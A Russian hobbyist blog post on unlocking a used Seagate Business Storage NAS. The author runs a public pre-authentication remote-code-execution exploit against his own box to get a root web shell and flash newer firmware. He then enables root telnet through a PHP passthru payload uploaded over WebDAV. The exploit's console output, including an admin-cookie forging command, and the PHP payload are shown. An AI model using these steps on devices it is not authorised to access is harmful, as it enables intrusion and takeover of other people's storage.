И вот, решился я обзавестись нормальной, аппаратной хранилкой. Новые какие-то дорогие нынче, жаба бюджет не одобрила. Порылся на Avito, и понравился мне Netgear Stora, да вот только увели из под носа… Оставался второй адекватный вариант — Seagate Business Storage 2-Bay NAS STBN700, а по факту оказался SRN02D. В чём разница, спросите вы? Ну, спрашивайте! А в том, что SRN02D — модификация для России.
Характеристики
HDD 2 x 3,5 дюйма SATA II, лотки с возможностью «горячей замены»
Файловая система EXT4 (для внешних носителей: EXT3/EXT4/FAT/NTFS)
RAID, уровень JBOD, RAID 0, RAID 1
Процессор Cavium CNS3420 Dual Core с частотой 700 МГц
512 МБ оперативной памяти DRAM
Сетевые интерфейсы 2 х Gigabit Ethernet RJ-45
2 порта USB 3.0
1 порт USM
256 МБ флэш-памяти для ОС
Протоколы FTP/S, NFS v2/v3, CIFS/SMB, AFP 3.3, HTTP/S, Rsync, iSCSI, DLNA, UPnP
Клиенты Windows, Mac OS, Linux/UNIX, Solaris
Система охлаждения 1 х вентилятор 60х60 мм
Питание Внешний блок питания 48 Вт
Энергопотребление в работе (без подключённых внешних носителей): 20Вт; При простое: 4Вт
Габариты, мм 275х155х310
Масса, кг 3,73 (с HDD)
В чём модификация? В прошивке. А теперь о грустном. Прошивка не обновляется. Это второе отличие, вытекающее из первого. Производитель почему-то решил, что и так сойдёт. Естественно, по серийному номеру прошивки скачать не предлагается. По этой ссылке можно найти свежую прошивку, но установить её не получится. А это приводит к тому, что не работает сервис Global Access. Мало того, именно в установленной прошивке версии 2013.60314 присутствует ды… Нет, большая … Нет, не так… ОГРОМНЕЙШАЯ дырень. Я бы сказал, дыра космического масштаба. Называется Seagate Business NAS <= 2014.00319 — Pre-Authentication Remote Code Execution. И никто в Seagate не планирует её устранять «специально для русских». Хотя, судя по номеру крайней прошивки, там не только этот косяк устранён. Ирония в том, что именно эта дыра нужна для того, что бы перейти на «нормальную» прошивку. Источником информации нам послужат немногочисленные найденные материалы, которые надо бы привести в адекватный вид, используя личный опыт.
http://forum.ixbt.com/topic.cgi?id=109:109
https://club.dns-shop.ru/network-tools/2х2-Обзор-Seagate-Business-Storage-2-Bay-NAS/
https://geektimes.ru/post/231593/
Список необходимых инструментов:
Прошивка
Питон (Не путать со змеёй. Нужен 2.x версии. По крайней мере, так говорят… Портативный, что бы не за….ть комп)
Ломик — выделяем текст скрипта и сохраняем с расширением .py (это не РУ, а PY!!!), например, script.py
Предполагается, что в том или ином виде уже создан(ы) том(а). Добавляем шару, для простоты и стыковки с описаниями по ссылке, назовём шару «data». Не забываем про регистр, к которому линухи критично относятся. У меня доступ к этой папке по сети получился как «\\nas\data». Распаковываем в неё содержимое архива seagate_nas-update-1500322-2bay.zip. Получилось 4 файла, нам нужны .img и .md5. Остальное полистаете потом.
Запускаем командную строку (cmd) с правами администратора. Вводим команду:
Путь_к_папке_с_питоном\Python-Portable Путь_к_папке_со_скриптом\script.py IP_NAS 80
Получаем такую картинку:
Establishing session with 192.168.0.114 …
Configuring administrative access …
Installing web shell (takes a while) …
Extracting id and hostname …
Seagape v1.0 — Interactive Seagate NAS Webshell
— OJ Reeves (@TheColonial) — https://beyondbinary.io/
— https://beyondbinary.io/bbsec/001
===========================================================================
version — Print the current firmware version to screen.
dumpcookie — Print the current cookie to screen.
admincookie <ua> — Create an admin login cookie (ua == user agent string).
Add to your browser and access ANY NAS box as admin.
help — Show this help.
exit / quit — Run for the hills.
<anything else> — Execute the command on the server.
Seagape (root@SEA-NAS)>
Как вы уже наверное догадались, у нас тут рут доступ… Пока не прошились, можно потыкать кнопочки.
Но у нас задача другая — избавиться от этого доступа, и обновить прошивку.
Вводим команду (нормальные люди копипастят):
/usr/bin/firmware_updater -v /Public/data/seagate_nas-update-1500322-2bay.img /Public/data/seagate_nas-update-1500322-2bay.md5 |
/usr/bin/firmware_updater -v /Public/data/seagate_nas-update-1500322-2bay.img /Public/data/seagate_nas-update-1500322-2bay.md5
и жмём Enter.
Некоторое время повисит, и выдаст простынку:
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
61056 inodes, 243952 blocks
12197 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=251658240
8 block groups
32768 blocks per group, 32768 fragments per group
7632 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
2560 inodes, 10240 blocks
512 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=10485760
2 block groups
8192 blocks per group, 8192 fragments per group
1280 inodes per group
Superblock backups stored on blocks:
8193
Writing inode tables: done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 34 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
Removing any system startup links for setup-ba-nas …
Adding system startup for /mnt/md1/etc/init.d/ba-finish-update.
Unlocking flash…
Done
Erasing old environment…
Done
Writing environment to /dev/mtd1…
Done
Locking …
Done
Removing any system startup links for setup-lighttpd …
/mnt/md1/etc/rc0.d/K70setup-lighttpd
/mnt/md1/etc/rc1.d/K70setup-lighttpd
/mnt/md1/etc/rc2.d/S70setup-lighttpd
/mnt/md1/etc/rc3.d/S70setup-lighttpd
/mnt/md1/etc/rc4.d/S70setup-lighttpd
/mnt/md1/etc/rc5.d/S70setup-lighttpd
/mnt/md1/etc/rc6.d/K70setup-lighttpd
Adding system startup for /mnt/md1/etc/init.d/cleanusbshares.
Adding system startup for /mnt/md1/etc/init.d/factorydefault.
Adding system startup for /mnt/md1/etc/init.d/firmware-init-2_4bay.
Adding system startup for /mnt/md1/etc/init.d/retain-claim.
Adding system startup for /mnt/md1/etc/init.d/hpsetup.sh.
Adding system startup for /mnt/md1/etc/init.d/ems.sh.
Adding system startup for /mnt/md1/etc/init.d/modinsertearly.sh.
Adding system startup for /mnt/md1/etc/init.d/modinsert.sh.
Adding system startup for /mnt/md1/etc/init.d/recycleBinManager.sh.
Adding system startup for /mnt/md1/etc/init.d/acronis_agent.
Adding system startup for /mnt/md1/etc/init.d/hostname.
Adding system startup for /mnt/md1/etc/init.d/S48button.
Adding system startup for /mnt/md1/etc/init.d/usergroup.sh.
Adding system startup for /mnt/md1/etc/init.d/run-postinsts.
Adding system startup for /mnt/md1/etc/init.d/Adsjoin.
Adding system startup for /mnt/md1/etc/init.d/finish.
Adding system startup for /mnt/md1/etc/init.d/firmware-cfg-reg.
Adding system startup for /mnt/md1/etc/init.d/remote_check_cron.
Adding system startup for /mnt/md1/etc/init.d/sclone_system.
Adding system startup for /mnt/md1/etc/init.d/tappinAgent.
Adding system startup for /mnt/md1/etc/init.d/cups.
Adding system startup for /mnt/md1/etc/init.d/atd.
Adding system startup for /mnt/md1/etc/init.d/busybox-inetd.
Adding system startup for /mnt/md1/etc/init.d/du.
Adding system startup for /mnt/md1/etc/init.d/nfsserver.
Adding system startup for /mnt/md1/etc/init.d/samba.
Adding system startup for /mnt/md1/etc/init.d/sysklogd.
Adding system startup for /mnt/md1/etc/init.d/dhcp-server.
Adding system startup for /mnt/md1/etc/init.d/avahi-dnsconfd.
Adding system startup for /mnt/md1/etc/init.d/atalk.
Adding system startup for /mnt/md1/etc/init.d/cron.
Adding system startup for /mnt/md1/etc/init.d/fan.sh.
Adding system startup for /mnt/md1/etc/init.d/gensetup.
Adding system startup for /mnt/md1/etc/init.d/udev-cache.
System startup links for /mnt/md1/etc/init.d/sysklogd already exist.
Adding system startup for /mnt/md1/etc/init.d/isns.
image_file: /Public/data/seagate_nas-update-1500322-2bay.img
md5_file: /Public/data/seagate_nas-update-1500322-2bay.md5
Getting installed firmware information
Verify upgrade package
Upgrade firmware
Upgrade from version 2013.60314 to 2015.00322
Reboot
Ящик перезагружается, и радуемся(?) новой прошивке.
Оказывается, http://seagate.tappin.com/, который обслуживает Global Access, решил самоубиться. 04.04.2018 будут удалены все аккаунты и прекращён web-доступ к устройствам. Приплыли, млин… Ну и не буду тогда у них регистрироваться.
Для сброса настроек к заводским, до подачи питания зажать RESET, подать питание, и держать пока не подмигнёт. После сброса,
Логин admin
пароль admin
USB диски сразу после подключения становятся «общими»
Вторая часть Мерлезонского балета!
Итак, прошивка-то у нас крайняя, но ещё бы доступ по Telnet! И вот тут поможет статья Антона Разумова
Создаём файлик telnet.php, и в нём пишем код:
<!--?php passthru("echo 'telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd’ >>/etc/inetd.conf"); ?--> |
<!--?php passthru("echo 'telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd’ >>/etc/inetd.conf"); ?-->
Теперь в Сеть\Вёб службы включаем Webdav
Создаём пользователя (любого, галку админа можно не ставить)
Создаём шару с галкой Webdav (я создал «all») (я делал сброс настроек и менял хард, поэтому шара пропала)
Кидаем в шару telnet.php
В браузере открываем http://nas/shares/all/telnet.php, любуемся белой страничкой. Она такая… Такая… Такая идеально белая…
Налюбовались? Теперь ребутим NAS, берём любимую putty (ну или чем Вам там любимее) и телнетимся к насу:
Логинимся под созданным пользователем, далее вводим «su» и пароль админа. Вуаля!
Теперь можно курить мануалы по линуху…
Говорят, что для общения с файловой системой удобно использовать MidnigtCommander (MC). Попробуем?
Наковырял я тут статью за авторством Darkeye, в которой он рассказывает о том, как пересобрать MC, что бы он работал на нашем процессоре. Подробности можно почитать в статье, а готовый файл скачать с его диска по ссылке.
Установка:
закидываем в шару на NAS (у меня All), телнетимся, даём команды
cp /shares/all/mc.tar.gz /opt/
cd /opt
tar -xvzf mc.tar.gz |
cp /shares/all/mc.tar.gz /opt/
cd /opt
tar -xvzf mc.tar.gz
Проверяем, введя команду
/opt/mc/builds/build_mc-4.8.14/bin/mc |
/opt/mc/builds/build_mc-4.8.14/bin/mc